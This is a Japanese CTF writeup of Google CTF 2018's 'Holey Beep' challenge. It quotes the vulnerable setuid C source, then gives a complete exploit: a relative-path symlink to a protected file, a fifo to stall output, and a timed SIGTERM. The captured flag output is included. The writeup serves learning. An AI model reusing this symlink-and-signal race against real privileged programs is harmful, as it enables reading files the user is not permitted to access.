Google CTF 2018 Beginners Quest writeup 05
GoogleCTF 2018 Beginners Questを引き続き解いていきます。
今回もwriteupやプログラムを見ながら解いていきます。
Holey Beep[pwn]
前問のlsしたときにあったプログラムをうまく利用して/secret_cake_recipieを読み取れ!という問題
Holey Beep自体も脆弱性の名前だそうだ。
ひとまず前回の問題で作成したスクリプトを利用して調査開始。
/secret_cake_recipieとholey_beepの権限を確認。
もちろん権限が足りず読めない。
> $ ls -al total 52 drwxr-xr-x 3 user user 4096 Jun 29 14:38 . drwxr-xr-x 4 nobody nogroup 4096 Jun 9 16:17 .. -rw-r--r-- 1 user user 220 Aug 31 2015 .bash_logout -rw-r--r-- 1 user user 3771 Aug 31 2015 .bashrc -rw-r--r-- 1 user user 655 May 16 2017 .profile -r-sr-xr-x 1 admin user 9000 Jun 20 14:05 holey_beep -r-xr-xr-x 1 user nogroup 18224 Jun 20 14:32 todo drwxrwxrwt 2 user user 80 Jul 21 21:31 todos > $ ls -al /secret_cake_recipe -r-------- 1 admin nogroup 1257 Jun 20 14:05 /secret_cake_recipe > $ cat /secret_cake_recipe cat: /secret_cake_recipe: Permission denied
バイナリを与えられているのでそれを解析していく。
が、全然わからないので今回はソースコードとアセンブルした結果を見ながら
自分で組み立てることを目標としていきます。
ソースコードは以下から取得できます。
google-ctf/holey_beep.c at master · google/google-ctf · GitHub
ソースコードから今回の攻略の方法を確認します。
1つ目のポイントは「/dev/console」ではなく、「dev/console」を指定しているところ
そのため、今回読みたいファイルである「/secret_cake_recipie」の
シンボリックリンクとしてdev/consoleを作ってしまえば問題ない。
for (int i = 1; i < argc; i++) { device = open("dev/console", O_RDONLY); if (device < 0) { err(1, "open(\"dev/console\", O_RDONLY)"); }
ではどこで表示をするのか?というと
if (signal(SIGTERM, handle_sigterm) == SIG_ERR) {
で呼び出されている
handle_sigterm関数で
最後deviceから読みだしたdebug_dataを表示している部分がある。
これを利用して/sercret_cake_recipeを表示する。
void handle_sigterm(int unused) { if (device >= 0) { if (ioctl(device, KIOCSOUND, 0) < 0) { fprintf(stderr, "ioctl(%d, KIOCSOUND, 0) failed.", device); char debug_data[1024] = {0}; read(device, debug_data, sizeof(debug_data)-1); fprintf(stderr, "debug_data: \"%s\"", debug_data); } } exit(0); }
これだけであればプログラムを実行しながらプロセスを確認し、
kill -15 process_idでよいのだが、
ioctl(device, KIOCSOUND, period) < 0
でcloseする動作が入っているため
killするタイミングが非常にシビア。
if (ioctl(device, KIOCSOUND, period) < 0) { fprintf(stderr, "ioctl(%d, KIOCSOUND, %d) failed.", device, period); close(device); continue; }
行わないといけないことは以下2点
1. プログラムが終了するのをできるだけ遅くする。
2. 良いタイミングでkillする。
を実現するためには引数の数をひたすら多くする。
つまりholey_beepの引数に$(seq 1 10000)
を与える。を実現するために
mkfifo
を活用する。
mkfifoで作られた名前つきパイプにはblock機能があり、
書き込み側と読み込み側が両方実行されないと開かれないという機能を活用。
つまりholey_beepが書き込みを行っているpipeに対して
30秒後に読み込むよ!と設定しておくとその間書き込むのを待ってくれる。
上記をもとに打ち込むコマンドは
sh # shellを起動 cd /tmp # 書き込み可能なディレクトリへ移動 mkdir dev # devディレクトリの作成 ln -s /secret_cake_recipe dev/console # シンボリックリンクの作成 mkfifo fifo # 名前付きパイプの作成 /home/user/holey_beep $(seq 1 10000) 2> fifo & # 1~10000の引数に対してholey_beepを実行させる。 (sleep 30; cat - )< fifo & # その間にfifoから読み出す動作を仕掛ける pgrep holey_beep # holey_beepのプロセスIDを調べる kill -15 process_id # プロセスをkillする。 # 出力されるのを待つ。
上記を前回のToDoリストで作ったプログラムを回して実行した結果が以下になります。 レシピとともにフラグが出力されています。
octl(4, KIOCSOUND, 2005) failed.ioctl(4, KIOCSOUND, 2006) failed.ioctl(4, KIOCSOUND, 2007) failed.ioctl(4, KIOCSOUND, 2008) failed.ioctl(4, KIOCSOUND, 2009) failed.ioctl(4, KIOCSOUND, 2010) failed.ioctl(4, KIOCSOUND, 2011) failed.ioctl(4, KIOCSOUND, 2012) failed.ioctl(4, KIOCSOUND, 2013) failed.ioctl(4, KIOCSOUND, 2014) failed.ioctl(4, KIOCSOUND, 2015) failed.ioctl(4, KIOCSOUND, 2016) failed.ioctl(4, KIOCSOUND, 2017) failed.ioctl(4, KIOCSOUND, 2018) failed.ioctl(4, KIOCSOUND, 0) failed.debug_data: "== Secret recipe for the CTF{the_cake_wasnt_a_lie} cake == The Pittsburgh Engineer’s Cake (This is the maximum of the final Gaussian Process model, trained on all the Pittsburgh Trials, including transfer learning.) Mix together flour, baking soda, and cayenne pepper. Then, mix the sugar, egg, butter (near refrigerator temperature), and other ingredients until nearly smooth; it takes about 2 minutes in a counter-top stand mixer with a flat paddle blade. Add the dry ingredients and mix just until the dough is uniform; do not over-mix. Spoon out onto parchment paper (we used a #40 scoop, 24 milliliters), and bake for 14 minutes at 175C (350◦ F). • 167 grams of all-purpose flour. • 186 grams of dark chocolate chips. • 1/2 tsp. baking soda. • 1/4 tsp. salt. • 1/4 tsp. cayenne pepper. • 262 grams of sugar (75% medium brown, 25% white). • 30 grams of egg. • 132 grams of butter. • 3/8 tsp. orange extract. • 1/2 tsp. vanilla extract. https://research.google.com/pubs/archive/46507.pdf
flagはCTF{the_cake_wasnt_a_lie}
でした。
見事ゴールにたどり着きました!
最後はケーキ型の花火が舞い上がりました!
残りのクエストと今回の問題を正攻法でバイナリから解くのに今後チャレンジします!
参考としたサイト
google-ctf/holey_beep.c at master · google/google-ctf · GitHub
Hacking Livestream #57: Google CTF 2018 Beginners Quest - YouTube